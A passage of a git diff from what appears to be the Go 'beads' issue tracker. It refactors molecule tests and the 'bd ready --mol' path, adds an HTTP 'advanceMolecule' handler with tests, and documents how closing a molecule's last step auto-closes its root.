mustFindParentMolecule(t, ctx, s, orphan.ID) if moleculeID != "" { t.Errorf("findParentMolecule(orphan) = %q, want empty", moleculeID) } @@ -1587,7 +1589,10 @@ func TestFindParentMoleculesBatch(t *testing.T) { } // Batch-find molecule roots for all issues at once - roots := findParentMolecules(ctx, s, []string{grandchild.ID, child.ID, root.ID, orphan.ID}) + roots, err := moleculeRootsOf(ctx, s, []string{grandchild.ID, child.ID, root.ID, orphan.ID}) + if err != nil { + t.Fatalf("findParentMolecules: %v", err) + } if got := roots[grandchild.ID]; got != root.ID { t.Errorf("findParentMolecules[grandchild] = %q, want %q", got, root.ID) @@ -1602,9 +1607,9 @@ func TestFindParentMoleculesBatch(t *testing.T) { t.Errorf("findParentMolecules[orphan] = %q, want empty", got) } - // Empty input should return nil - if result := findParentMolecules(ctx, s, nil); result != nil { - t.Errorf("findParentMolecules(nil) = %v, want nil", result) + // Empty input answers no roots. + if result, err := moleculeRootsOf(ctx, s, nil); err != nil || len(result) != 0 { + t.Errorf("MoleculeRoots(nil) = %v, %v, want none", result, err) } } @@ -1668,12 +1673,15 @@ func TestFindParentMolecule_RootShapes(t *testing.T) { if tt.isMolecule { wantSingle = root.ID } - if got := findParentMolecule(ctx, s, child.ID); got != wantSingle { + if got := mustFindParentMolecule(t, ctx, s, child.ID); got != wantSingle { t.Errorf("findParentMolecule(child) = %q, want %q", got, wantSingle) } wantBatch := map[string]string{child.ID: wantSingle} - gotBatch := findParentMolecules(ctx, s, []string{child.ID}) + gotBatch, err := moleculeRootsOf(ctx, s, []string{child.ID}) + if err != nil { + t.Fatalf("findParentMolecules: %v", err) + } if got := gotBatch[child.ID]; got != wantBatch[child.ID] { t.Errorf("findParentMolecules(child) = %q, want %q", got, wantBatch[child.ID]) } @@ -1733,7 +1741,7 @@ func TestAdvanceToNextStep_PouredMolecule(t *testing.T) { t.Fatalf("Failed to add blocking dep: %v", err) } - result, err := AdvanceToNextStep(ctx, newStandaloneStoreMolWriter(s), step1.ID, true, "test") + result, err := advanceForTest(ctx, s, step1.ID, true, "test") if err != nil { t.Fatalf("AdvanceToNextStep failed: %v", err) } @@ -1815,7 +1823,7 @@ func TestFindHookedMolecules(t *testing.T) { } // Test: findHookedMolecules should find the molecule for this agent - molecules := findHookedMolecules(ctx, s, "test-agent") + molecules := mustFindHookedMolecules(t, ctx, s, "test-agent") if len(molecules) != 1 { t.Fatalf("findHookedMolecules() got %d molecules, want 1", len(molecules)) } @@ -1824,13 +1832,13 @@ func TestFindHookedMolecules(t *testing.T) { } // Test: different agent should not find the molecule - molecules = findHookedMolecules(ctx, s, "other-agent") + molecules = mustFindHookedMolecules(t, ctx, s, "other-agent") if len(molecules) != 0 { t.Errorf("findHookedMolecules(other-agent) got %d molecules, want 0", len(molecules)) } // Test: no agent filter should find the molecule - molecules = findHookedMolecules(ctx, s, "") + molecules = mustFindHookedMolecules(t, ctx, s, "") if len(molecules) != 1 { t.Errorf("findHookedMolecules('') got %d molecules, want 1", len(molecules)) } @@ -1890,7 +1898,7 @@ func TestAdvanceToNextStep(t *testing.T) { } // Advance from step1 (just closed) without auto-claim - result, err := AdvanceToNextStep(ctx, newStandaloneStoreMolWriter(s), step1.ID, false, "test") + result, err := advanceForTest(ctx, s, step1.ID, false, "test") if err != nil { t.Fatalf("AdvanceToNextStep failed: %v", err) } @@ -1916,7 +1924,7 @@ func TestAdvanceToNextStep(t *testing.T) { } // Now test with auto-claim - result, err = AdvanceToNextStep(ctx, newStandaloneStoreMolWriter(s), step1.ID, true, "test") + result, err = advanceForTest(ctx, s, step1.ID, true, "test") if err != nil { t.Fatalf("AdvanceToNextStep with auto-claim failed: %v", err) } @@ -1967,7 +1975,7 @@ func TestAdvanceToNextStepMoleculeComplete(t *testing.T) { } // Advance from the only step (molecule should be complete) - result, err := AdvanceToNextStep(ctx, newStandaloneStoreMolWriter(s), step1.ID, false, "test") + result, err := advanceForTest(ctx, s, step1.ID, false, "test") if err != nil { t.Fatalf("AdvanceToNextStep failed: %v", err) } @@ -2000,7 +2008,7 @@ func TestAdvanceToNextStepOrphanIssue(t *testing.T) { } // Advance should return nil (not part of molecule) - result, err := AdvanceToNextStep(ctx, newStandaloneStoreMolWriter(s), orphan.ID, false, "test") + result, err := advanceForTest(ctx, s, orphan.ID, false, "test") if err != nil { t.Fatalf("AdvanceToNextStep failed: %v", err) } @@ -2083,7 +2091,7 @@ func TestAdvanceToNextStepConcurrentClaim(t *testing.T) { // Now our agent tries to advance with autoClaim — step2 was identified as // ready during the read phase, but it's already in_progress. The function // should fall back to step3. - result, err := AdvanceToNextStep(ctx, newStandaloneStoreMolWriter(s), step1.ID, true, "our-agent") + result, err := advanceForTest(ctx, s, step1.ID, true, "our-agent") if err != nil { t.Fatalf("AdvanceToNextStep failed: %v", err) } @@ -2169,7 +2177,7 @@ func TestAdvanceToNextStepAllClaimed(t *testing.T) { } // Advance with autoClaim — should fail gracefully (no steps to claim) - result, err := AdvanceToNextStep(ctx, newStandaloneStoreMolWriter(s), step1.ID, true, "our-agent") + result, err := advanceForTest(ctx, s, step1.ID, true, "our-agent") if err != nil { t.Fatalf("AdvanceToNextStep failed: %v", err) } @@ -2846,43 +2854,6 @@ func TestAnalyzeMoleculeParallelMultipleArms(t *testing.T) { } } -// TestCalculateBlockingDepths tests the depth calculation -func TestCalculateBlockingDepths(t *testing.T) { - // Create chain: root -> step1 -> step2 -> step3 - root := &types.Issue{ID: "root", Status: types.StatusOpen} - step1 := &types.Issue{ID: "step1", Status: types.StatusOpen} - step2 := &types.Issue{ID: "step2", Status: types.StatusOpen} - step3 := &types.Issue{ID: "step3", Status: types.StatusOpen} - - subgraph := &MoleculeSubgraph{ - Root: root, - Issues: []*types.Issue{root, step1, step2, step3}, - IssueMap: map[string]*types.Issue{"root": root, "step1": step1, "step2": step2, "step3": step3}, - } - - blockedBy := map[string]map[string]bool{ - "root": {}, - "step1": {"root": true}, - "step2": {"step1": true}, - "step3": {"step2": true}, - } - - depths := calculateBlockingDepths(subgraph, blockedBy) - - if depths["root"] != 0 { - t.Errorf("root depth = %d, want 0", depths["root"]) - } - if depths["step1"] != 1 { - t.Errorf("step1 depth = %d, want 1", depths["step1"]) - } - if depths["step2"] != 2 { - t.Errorf("step2 depth = %d, want 2", depths["step2"]) - } - if depths["step3"] != 3 { - t.Errorf("step3 depth = %d, want 3", depths["step3"]) - } -} - // TestSpawnMoleculeEphemeralFlag verifies that spawnMolecule with ephemeral=true // creates issues with the Ephemeral flag set (bd-phin) func TestSpawnMoleculeEphemeralFlag(t *testing.T) { @@ -3370,3 +3341,70 @@ func TestPourRootNoVars(t *testing.T) { t.Errorf("Root description should be formula desc, got: %q", spawnedRoot.Description) } } + +// The molecule tests below drive the library's molecule rules through the +// store's own roles — the path every route takes — via these thin shims. + +func testMolRoles(t *testing.T, s storage.DoltStorage) moleculeRoles { + t.Helper() + roles, err := directMoleculeRoles(s) + if err != nil { + t.Fatalf("directMoleculeRoles: %v", err) + } + return roles +} + +func mustFindParentMolecule(t *testing.T, ctx context.Context, s storage.DoltStorage, id string) string { + t.Helper() + got, err := issueops.MoleculeRoot(ctx, testMolRoles(t, s).molecule, id) + if err != nil { + t.Fatalf("MoleculeRoot(%s): %v", id, err) + } + return got +} + +func moleculeRootsOf(ctx context.Context, s storage.DoltStorage, ids []string) (map[string]string, error) { + roles, err := directMoleculeRoles(s) + if err != nil { + return nil, err + } + return issueops.MoleculeRoots(ctx, roles.molecule, ids) +} + +func viewMoleculeProgress(ctx context.Context, s storage.DoltStorage, id string) (*MoleculeProgress, error) { + roles, err := directMoleculeRoles(s) + if err != nil { + return nil, err + } + view, err := issueops.ViewMolecule(ctx, roles.molecule, id) + if err != nil { + return nil, err + } + return moleculeProgressOf(view), nil +} + +func mustFindHookedMolecules(t *testing.T, ctx context.Context, s storage.DoltStorage, agent string) []*MoleculeProgress { + t.Helper() + roles := testMolRoles(t, s) + ids, err := issueops.ActiveMoleculeIDs(ctx, roles.reader, roles.molecule, agent) + if err != nil { + t.Fatalf("ActiveMoleculeIDs(%q): %v", agent, err) + } + got, err := viewMolecules(ctx, roles, ids) + if err != nil { + t.Fatalf("viewMolecules(%q): %v", agent, err) + } + return got +} + +func advanceForTest(ctx context.Context, s storage.DoltStorage, closedStepID string, autoClaim bool, actor string) (*ContinueResult, error) { + stepper, err := s.MoleculeStepper() + if err != nil { + return nil, err + } + result, err := stepper.Advance(ctx, issueops.AdvanceRequest{Actor: actor, ClosedStepID: closedStepID, AutoClaim: autoClaim}) + if err != nil { + return nil, err + } + return continueResultOf(result), nil +} diff --git a/cmd/bd/ready.go b/cmd/bd/ready.go index 7e7e8aacf..2837b483e 100644 --- a/cmd/bd/ready.go +++ b/cmd/bd/ready.go @@ -97,7 +97,13 @@ This is useful for agents executing molecules to see which steps can run next.`, if claimReady { return HandleErrorRespectJSON("--claim cannot be combined with --mol") } - return runMoleculeReady(cmd, molID) + if store == nil { + return HandleErrorRespectJSON("no database connection") + } + resolve := func(ctx context.Context, arg string) (string, error) { + return utils.ResolvePartialID(ctx, store, arg) + } + return runMoleculeReady(rootCtx, store, resolve, molID) } explain, _ := cmd.Flags().GetBool("explain") @@ -637,37 +643,32 @@ func runReadyExplain(_ *cobra.Command) error { return nil } -func runMoleculeReady(_ *cobra.Command, molIDArg string) error { - ctx := rootCtx - - if store == nil { - return HandleErrorRespectJSON("no database connection") - } - - moleculeID, err := utils.ResolvePartialID(ctx, store, molIDArg) +// runMoleculeReady is `bd ready --mol` on every route. The molecule's nodes, +// their readiness, the ready list and parallel groups are the library's one +// derivation (issueops.ViewMolecule, shared with `mol current`); what is here +// is presentation. +func runMoleculeReady(ctx context.Context, s storage.DoltStorage, resolve func(context.Context, string) (string, error), molIDArg string) error { + moleculeID, err := resolve(ctx, molIDArg) if err != nil { - return HandleErrorRespectJSON("molecule '%s' not found", molIDArg) + return moleculeNotResolved(molIDArg, err) } - - subgraph, err := loadTemplateSubgraph(ctx, store, moleculeID) + roles, err := currentMoleculeRoles(s) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + view, err := issueops.ViewMolecule(ctx, roles.molecule, moleculeID) if err != nil { return HandleErrorRespectJSON("loading molecule: %v", err) } - - // Get parallel analysis to find ready steps - analysis := analyzeMoleculeParallel(subgraph) - - // Collect ready steps + subgraph, analysis := view.Graph, view.Analysis var readySteps []*MoleculeReadyStep - for _, issue := range subgraph.Issues { + for _, issue := range view.Ready { info := analysis.Steps[issue.ID] - if info != nil && info.IsReady { - readySteps = append(readySteps, &MoleculeReadyStep{ - Issue: issue, - ParallelInfo: info, - ParallelGroup: info.ParallelGroup, - }) - } + readySteps = append(readySteps, &MoleculeReadyStep{ + Issue: issue, + ParallelInfo: info, + ParallelGroup: info.ParallelGroup, + }) } if jsonOutput { diff --git a/cmd/bd/ready_proxied_server.go b/cmd/bd/ready_proxied_server.go index 30a815f32..5f1df9d2e 100644 --- a/cmd/bd/ready_proxied_server.go +++ b/cmd/bd/ready_proxied_server.go @@ -53,6 +53,12 @@ func runReadyProxiedServer(cmd *cobra.Command, ctx context.Context) error { // same sweep from its role (uow.readyClaimer.ClaimNext). uow.WakeExpiredDefersAdvisory(ctx, uowProvider) + // --mol reads through the provider's roles, each in a unit of work of its + // own, so it runs before this route opens the one it holds below. + if in.molID != "" { + return runMoleculeReady(ctx, nil, proxiedResolvePartialID, in.molID) + } + uw, err := uowProvider.NewUOW(ctx) if err != nil { return HandleErrorRespectJSON("open unit of work: %v", err) @@ -62,8 +68,6 @@ func runReadyProxiedServer(cmd *cobra.Command, ctx context.Context) error { switch { case in.gated: return runReadyProxiedGated(ctx, uw, in) - case in.molID != "": - return runReadyProxiedMolecule(ctx, uw, in) case in.explain: return runReadyProxiedExplain(ctx, uw, in) default: @@ -397,89 +401,6 @@ func runReadyProxiedExplain(ctx context.Context, uw uow.UnitOfWork, _ readyInput return nil } -func runReadyProxiedMolecule(ctx context.Context, uw uow.UnitOfWork, in readyInput) error { - moleculeID := in.molID - subgraph, err := loadTemplateSubgraph(ctx, uowMolReader{uw: uw}, moleculeID) - if err != nil { - return HandleError("loading molecule: %v", err) - } - - analysis := analyzeMoleculeParallel(subgraph) - - var readySteps []*MoleculeReadyStep - for _, issue := range subgraph.Issues { - info := analysis.Steps[issue.ID] - if info != nil && info.IsReady { - readySteps = append(readySteps, &MoleculeReadyStep{ - Issue: issue, - ParallelInfo: info, - ParallelGroup: info.ParallelGroup, - }) - } - } - - if in.jsonOut { - output := MoleculeReadyOutput{ - MoleculeID: moleculeID, - MoleculeTitle: subgraph.Root.Title, - TotalSteps: analysis.TotalSteps, - ReadySteps: len(readySteps), - Steps: readySteps, - ParallelGroups: analysis.ParallelGroups, - } - _ = outputJSON(output) - return nil - } - - fmt.Printf("\n%s Ready steps in molecule: %s\n", ui.RenderAccent("🧪"), subgraph.Root.Title) - fmt.Printf(" ID: %s\n", moleculeID) - fmt.Printf(" Total: %d steps, %d ready\n", analysis.TotalSteps, len(readySteps)) - if len(readySteps) == 0 { - fmt.Printf("\n%s No ready steps (all blocked or completed)\n\n", ui.RenderWarn("✨")) - return nil - } - if len(analysis.ParallelGroups) > 0 { - fmt.Printf("\n%s Parallel Groups:\n", ui.RenderPass("⚡")) - for groupName, members := range analysis.ParallelGroups { - readyInGroup := 0 - for _, id := range members { - if info := analysis.Steps[id]; info != nil && info.IsReady { - readyInGroup++ - } - } - if readyInGroup > 0 { - fmt.Printf(" %s: %d ready\n", groupName, readyInGroup) - } - } - } - fmt.Printf("\n%s Ready steps:\n\n", ui.RenderPass("📋")) - for i, step := range readySteps { - groupAnnotation := "" - if step.ParallelGroup != "" { - groupAnnotation = fmt.Sprintf(" [%s]", ui.RenderAccent(step.ParallelGroup)) - } - fmt.Printf("%d. [%s] [%s] %s: %s%s\n", i+1, - ui.RenderPriority(step.Issue.Priority), - ui.RenderType(string(step.Issue.IssueType)), - ui.RenderID(step.Issue.ID), - step.Issue.Title, - groupAnnotation) - if len(step.ParallelInfo.CanParallel) > 0 { - readyParallel := []string{} - for _, pID := range step.ParallelInfo.CanParallel { - if pInfo := analysis.Steps[pID]; pInfo != nil && pInfo.IsReady { - readyParallel = append(readyParallel, pID) - } - } - if len(readyParallel) > 0 { - fmt.Printf(" Can run with: %v\n", readyParallel) - } - } - } - fmt.Println() - return nil -} - func runReadyProxiedGated(ctx context.Context, uw uow.UnitOfWork, _ readyInput) error { molecules, err := findGateReadyMolecules(ctx, uowMolReader{uw: uw}) if err != nil { diff --git a/cmd/bd/template.go b/cmd/bd/template.go index e8ad2d576..422acc1cf 100644 --- a/cmd/bd/template.go +++ b/cmd/bd/template.go @@ -4,6 +4,7 @@ import ( "bytes" "context" "encoding/json" + "errors" "fmt" "regexp" "sort" @@ -16,6 +17,7 @@ import ( "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/utils" + publicops "github.com/steveyegge/beads/issueops" ) // configReader is the minimal slice of storage.Storage that config-reading @@ -26,8 +28,10 @@ type configReader interface { GetConfig(ctx context.Context, key string) (string, error) } -// BeadsTemplateLabel is the label used to identify Beads-based templates -const BeadsTemplateLabel = "template" +// BeadsTemplateLabel is the label used to identify Beads-based templates. It +// is the label molecule membership and auto-close read +// (issueops.MoleculeTemplateLabel), so the two cannot drift apart. +const BeadsTemplateLabel = publicops.MoleculeTemplateLabel // variablePattern matches {{variable}} placeholders var variablePattern = regexp.MustCompile(`\{\{([a-zA-Z_][a-zA-Z0-9_]*)\}\}`) @@ -212,8 +216,17 @@ func loadDescendants(ctx context.Context, s molReader, subgraph *TemplateSubgrap // Hierarchical IDs follow the pattern: parentID.N (e.g., "gt-abc.1", "gt-abc.2") hierarchicalChildren, err := findHierarchicalChildren(ctx, s, parentID) if err != nil { - // Non-fatal: continue with what we have - return nil + // The parent-child edges read above are the molecule's membership; + // this id-pattern scan only heals children whose edge is missing. A + // backend that cannot express an id-prefix search (a remote backend) + // therefore loads the edge-linked subgraph without the heal. Any other + // failure is a failed read and is returned, not treated as "no + // children". + var unsupported *storage.ErrUnsupported + if errors.As(err, &unsupported) { + return nil + } + return fmt.Errorf("failed to find hierarchical children of %s: %w", parentID, err) } for _, child := range hierarchicalChildren { diff --git a/docs/reference/json-schema.md b/docs/reference/json-schema.md index 8f2f19e7c..ae6aeb2ac 100644 --- a/docs/reference/json-schema.md +++ b/docs/reference/json-schema.md @@ -220,6 +220,29 @@ items, plus: `bd ready` also withholds because a blocked parent blocks its children, carries no `gated_by` +### bd close --json + +Returns a top-level JSON array with one entry per closed issue, in the order +the IDs were given; an issue that was already closed is reported too. Each +entry is the closed issue (`status` is `closed`, with `closed_at` and +`close_reason`) without its `dependencies`, plus two optional members present +only when that close completed a molecule (see +[Molecules](/workflows/molecules)): +- `auto_closed_molecule` (object, optional): The molecule root the close also + closed, as an issue object whose `close_reason` is `all steps complete` +- `molecule_auto_close_refusal` (string, optional): Why the molecule root + stayed open — for example an open blocker on the root, or a root assigned + to someone else. Human-readable prose; the step's close itself succeeded + +When one command closes several steps of the same molecule, only the first +of their entries carries these members. + +With `--suggest-next`, `--continue`, or `--claim-next`, the output is an +object instead: the array moves under `closed`, beside `unblocked` (issue +array), `continue` (`closed_step`, `next_step`, `auto_advanced`, +`molecule_complete`, `molecule_id`), or `claimed` (issue) respectively. When +the flag has nothing to report, the plain array is returned. + ### `import --json` Returns a summary object when `--json` is active: diff --git a/docs/workflows/molecules.md b/docs/workflows/molecules.md index 38c8e722e..01e10ad42 100644 --- a/docs/workflows/molecules.md +++ b/docs/workflows/molecules.md @@ -74,6 +74,11 @@ bd mol show --parallel # Highlight steps that can run concurrentl bd dep tree # Shows full hierarchy ``` +A molecule's steps are the issues linked to its root by a `parent-child` +dependency (what `--parent` and `bd mol pour` create). An ID that only looks +hierarchical, such as `bd-xyz.4` with no such dependency, does not make an +issue a step. + ## Working with Molecules ### The Execution Model @@ -146,8 +151,17 @@ bd close bd-xyz.1 --reason "Done" # Check what's ready next bd ready --mol bd-xyz + +# Or complete a step and claim the next ready one in one command +bd close bd-xyz.1 --continue ``` +`--continue` claims the next ready step for you (it becomes `in_progress` and +yours), skipping any step someone else already holds; add `--no-auto` to see +the next step without claiming it. Against a `bd serve` that cannot advance a +molecule, `bd close --continue` refuses before closing anything, so a step is +never left closed with the next one unclaimed. + ### Viewing Progress ```bash @@ -175,9 +189,46 @@ Completed Molecule Closed / Squashed / Burned ``` -Closing the last child does not close the molecule root — epics stay open as -close-eligible work until closed explicitly (`bd epic close-eligible` sweeps -them). For cleanup of the beads themselves: +### When the Last Step Closes + +Closing a molecule's last open step closes its root in the same command, with +the reason `all steps complete`: + +```bash +bd close bd-xyz.3 +# ✓ Auto-closed completed molecule bd-xyz — Release 1.0.0 +# ✓ Closed bd-xyz.3 — Verify: Closed +``` + +Not every root closes this way: + +| Root | After its last step closes | +|------|----------------------------| +| Poured molecule (`bd mol pour`) or wisp (`bd mol wisp`) | Closes | +| Epic with the `template` label | Closes | +| Any other epic | Stays open as close-eligible work: close it yourself, or sweep with `bd epic close-eligible` | + +A root that `bd close` would refuse on its own stays open too — for example, +it has an open blocker, it is pinned, or it is assigned to someone else. The +step still closes, and a warning names the root and the reason: + +```bash +bd close bd-abc.2 +# Warning: could not auto-close completed molecule: cannot close bd-abc: assignee is "bob", actor is "alice"; reclaim or use --force to override +# ✓ Closed bd-abc.2 — Check: Closed +``` + +Once the obstacle is gone, `bd close ` closes the root, and so does +closing the last step again. + +A `bd serve` that does not close molecule roots for its clients (an older +server, or one whose orchestrator manages molecules) leaves the root open: +`bd close` prints a note naming it, and `bd close ` closes it. + +With `--json`, the step's entry reports the closed root, or why it stayed +open — see the [JSON Output Schema Contract](/reference/json-schema). + +For cleanup of the beads themselves: - `bd mol squash ` condenses a molecule's ephemeral children into a permanent digest issue. diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index 299076f2a..4d50cf5c1 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -3,6 +3,7 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") go_library( name = "httpapi", srcs = [ + "advance_molecule.go", "auth.go", "batch_apply.go", "batch_close.go", @@ -63,6 +64,7 @@ go_library( go_test( name = "httpapi_test", srcs = [ + "advance_molecule_test.go", "auth_test.go", "batch_apply_test.go", "batch_close_test.go", diff --git a/internal/httpapi/advance_molecule.go b/internal/httpapi/advance_molecule.go new file mode 100644 index 000000000..3679ca4aa --- /dev/null +++ b/internal/httpapi/advance_molecule.go @@ -0,0 +1,64 @@ +package httpapi + +import ( + "net/http" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// advanceMoleculeRequestMembers is the document's member list for +// AdvanceMoleculeRequest, refused BY NAME for the reason every other body on +// this surface is. +var advanceMoleculeRequestMembers = []string{claimActorMember, "auto_claim"} + +// handleAdvanceMolecule moves a molecule on after one of its steps closed: the +// operation behind `bd close --continue`. Decode, issueops.MoleculeStepper, +// encode — the readiness rule and the claim are the role's. +func (s *Server) handleAdvanceMolecule(w http.ResponseWriter, r *http.Request) { + id := r.PathValue(customMethodIDValue) + if !s.requireNoQuery(w, r) { + return + } + if !s.requireJSONContent(w, r) { + return + } + members, res := decodeJSONObjectBody(w, r) + if res != nil { + s.fail(w, r, *res) + return + } + if offender, unknown := unknownMember(members, advanceMoleculeRequestMembers); unknown { + s.failUnknownMember(w, r, offender, advanceMoleculeRequestMembers) + return + } + actor, ok := s.bodyActor(w, r, members) + if !ok { + return + } + autoClaim, ok := s.booleanMember(w, r, members, "auto_claim") + if !ok { + return + } + + stepper, err := s.moleculeStepper(r) + if err != nil { + s.failErr(w, r, err) + return + } + result, err := stepper.Advance(r.Context(), issueops.AdvanceRequest{Actor: actor, ClosedStepID: id, AutoClaim: autoClaim}) + if err != nil { + s.failErr(w, r, err) + return + } + body := apigen.AdvanceMoleculeResponse{ + Complete: result.Complete, + Claimed: result.Claimed, + MoleculeId: optionalString(result.MoleculeID), + NextStep: result.NextStep, + } + if result.ClosedStep != nil { + body.ClosedStep = *result.ClosedStep + } + writeJSON(w, body) +} diff --git a/internal/httpapi/advance_molecule_test.go b/internal/httpapi/advance_molecule_test.go new file mode 100644 index 000000000..099234d74 --- /dev/null +++ b/internal/httpapi/advance_molecule_test.go @@ -0,0 +1,238 @@ +package httpapi + +import ( + "context" + "fmt" + "net/http" + "sort" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// handlerMolecule is a tiny stateful store behind the roles the advance is +// composed over (BatchGetter, Relations, EdgeReader, Claimer): root m (a +// molecule) <- m.1 (closed), m.2 (open). The handler tests below prove the +// wire edge; the rule itself is pinned by the molecule contract on every leg. +type handlerMolecule struct { + mu sync.Mutex + issues map[string]*types.Issue + deps []*types.Dependency + claims []issueops.ClaimRequest +} + +func newHandlerMolecule() *handlerMolecule { + h := &handlerMolecule{issues: map[string]*types.Issue{ + "m": {ID: "m", Title: "molecule", IssueType: types.TypeMolecule, Status: types.StatusOpen}, + "m.1": {ID: "m.1", Title: "one", IssueType: types.TypeTask, Status: types.StatusClosed}, + "m.2": {ID: "m.2", Title: "two", IssueType: types.TypeTask, Status: types.StatusOpen}, + "o": {ID: "o", Title: "orphan", IssueType: types.TypeTask, Status: types.StatusClosed}, + }} + h.deps = []*types.Dependency{ + {IssueID: "m.1", DependsOnID: "m", Type: types.DepParentChild}, + {IssueID: "m.2", DependsOnID: "m", Type: types.DepParentChild}, + } + return h +} + +func (h *handlerMolecule) GetMany(_ context.Context, req issueops.GetManyRequest) (issueops.GetManyResult, error) { + h.mu.Lock() + defer h.mu.Unlock() + out := issueops.GetManyResult{Issues: []*issueops.Issue{}, Missing: []string{}} + for _, id := range req.IDs { + if issue := h.issues[id]; issue != nil { + clone := *issue + out.Issues = append(out.Issues, &clone) + } else { + out.Missing = append(out.Missing, id) + } + } + return out, nil +} + +func (h *handlerMolecule) Related(_ context.Context, req issueops.RelatedRequest) ([]*issueops.RelatedIssue, error) { + h.mu.Lock() + defer h.mu.Unlock() + if h.issues[req.ID] == nil { + return nil, fmt.Errorf("%w: %s", issueops.ErrNotFound, req.ID) + } + var out []*issueops.RelatedIssue + for _, dep := range h.deps { + if dep.DependsOnID == req.ID { + out = append(out, &issueops.RelatedIssue{Issue: *h.issues[dep.IssueID], DependencyType: dep.Type}) + } + } + sort.Slice(out, func(i, j int) bool { return out[i].ID < out[j].ID }) + return out, nil +} + +func (h *handlerMolecule) ReadEdges(_ context.Context, req issueops.EdgeReadRequest) (issueops.EdgeReadResult, error) { + h.mu.Lock() + defer h.mu.Unlock() + var out issueops.EdgeReadResult + for _, id := range req.IDs { + anchor := issueops.AnchorEdges{ID: id, Missing: h.issues[id] == nil} + for _, dep := range h.deps { + if dep.IssueID == id { + anchor.Edges = append(anchor.Edges, dep) + } + } + out.Anchors = append(out.Anchors, anchor) + } + return out, nil +} + +func (h *handlerMolecule) Claim(_ context.Context, req issueops.ClaimRequest) (issueops.ClaimResult, error) { + h.mu.Lock() + defer h.mu.Unlock() + h.claims = append(h.claims, req) + issue := h.issues[req.IssueID] + issue.Status, issue.Assignee = types.StatusInProgress, req.Actor + clone := *issue + return issueops.ClaimResult{Issue: &clone, Changed: true}, nil +} + +func newAdvanceServer(t *testing.T, h *handlerMolecule) *testServer { + t.Helper() + return newTestServer(t, rolesConfig(Config{BatchGetter: h, Relations: h, EdgeReader: h, Claimer: h})) +} + +func TestAdvanceMoleculeClaimsTheNextStepThroughTheRole(t *testing.T) { + h := newHandlerMolecule() + ts := newAdvanceServer(t, h) + + resp := ts.postBody(t, "/v0/beads/issues/m.1:advanceMolecule", "application/json", `{"actor":"alice","auto_claim":true}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["molecule_id"] != "m" || body["claimed"] != true || body["complete"] != false { + t.Fatalf("body = %v, want molecule m, claimed, incomplete", body) + } + next, _ := body["next_step"].(map[string]any) + if next["id"] != "m.2" || next["assignee"] != "alice" { + t.Errorf("next_step = %v, want m.2 assigned to alice", next) + } + closed, _ := body["closed_step"].(map[string]any) + if closed["id"] != "m.1" { + t.Errorf("closed_step = %v, want m.1", closed) + } + if len(h.claims) != 1 || h.claims[0] != (issueops.ClaimRequest{Actor: "alice", IssueID: "m.2"}) { + t.Errorf("the Claimer received %+v, want one claim of m.2 for alice", h.claims) + } +} + +func TestAdvanceMoleculeWithoutAutoClaimWritesNothing(t *testing.T) { + h := newHandlerMolecule() + ts := newAdvanceServer(t, h) + resp := ts.postBody(t, "/v0/beads/issues/m.1:advanceMolecule", "application/json", `{"actor":"alice"}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["claimed"] != false || len(h.claims) != 0 { + t.Errorf("body = %v claims = %v, want nothing claimed", body, h.claims) + } +} + +func TestAdvanceMoleculeOutsideAMoleculeOmitsTheMolecule(t *testing.T) { + ts := newAdvanceServer(t, newHandlerMolecule()) + resp := ts.postBody(t, "/v0/beads/issues/o:advanceMolecule", "application/json", `{"actor":"alice","auto_claim":true}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if _, ok := body["molecule_id"]; ok { + t.Errorf("molecule_id = %v, want it absent for a step in no molecule", body["molecule_id"]) + } +} + +func TestAdvanceMoleculeRefusesBadRequestsBeforeTheRole(t *testing.T) { + h := newHandlerMolecule() + ts := newAdvanceServer(t, h) + for _, tc := range []struct { + path, body string + status int + }{ + {"/v0/beads/issues/m.1:advanceMolecule", `{"actor":"alice","extra":1}`, http.StatusBadRequest}, + {"/v0/beads/issues/m.1:advanceMolecule", `{"auto_claim":true}`, http.StatusBadRequest}, + {"/v0/beads/issues/m.1:advanceMolecule", `{"actor":"alice","auto_claim":"yes"}`, http.StatusBadRequest}, + {"/v0/beads/issues/nope:advanceMolecule", `{"actor":"alice"}`, http.StatusNotFound}, + } { + resp := ts.postBody(t, tc.path, "application/json", tc.body) + if resp.StatusCode != tc.status { + t.Errorf("%s %s: status = %d, want %d: %s", tc.path, tc.body, resp.StatusCode, tc.status, readAll(t, resp)) + } + } + if len(h.claims) != 0 { + t.Errorf("a refused request reached the Claimer: %+v", h.claims) + } +} + +func TestCloseForwardsAutoCloseMoleculeAndReportsTheRoot(t *testing.T) { + root := closedIssue("bd-root") + lifecycle := &roleLifecycle{closeResult: issueops.CloseResult{ + Issue: closedIssue("bd-1"), Changed: true, AutoClosedMolecule: root, + }} + ts := newCloseServer(t, lifecycle) + resp := ts.closeIssue(t, closePath, `{"actor":"alice","auto_close_molecule":true}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + got := lifecycle.closeRequests() + if len(got) != 1 || !got[0].AutoCloseMolecule { + t.Fatalf("the role received %+v, want AutoCloseMolecule set", got) + } + body := decodeBody(t, resp) + auto, _ := body["auto_closed_molecule"].(map[string]any) + if auto["id"] != "bd-root" { + t.Errorf("auto_closed_molecule = %v, want bd-root", body["auto_closed_molecule"]) + } + if _, ok := body["molecule_auto_close_refusal"]; ok { + t.Errorf("molecule_auto_close_refusal present on a clean auto-close: %v", body) + } + + lifecycle = &roleLifecycle{closeResult: issueops.CloseResult{ + Issue: closedIssue("bd-1"), Changed: true, MoleculeAutoCloseRefusal: "cannot close blocked issue", + }} + ts = 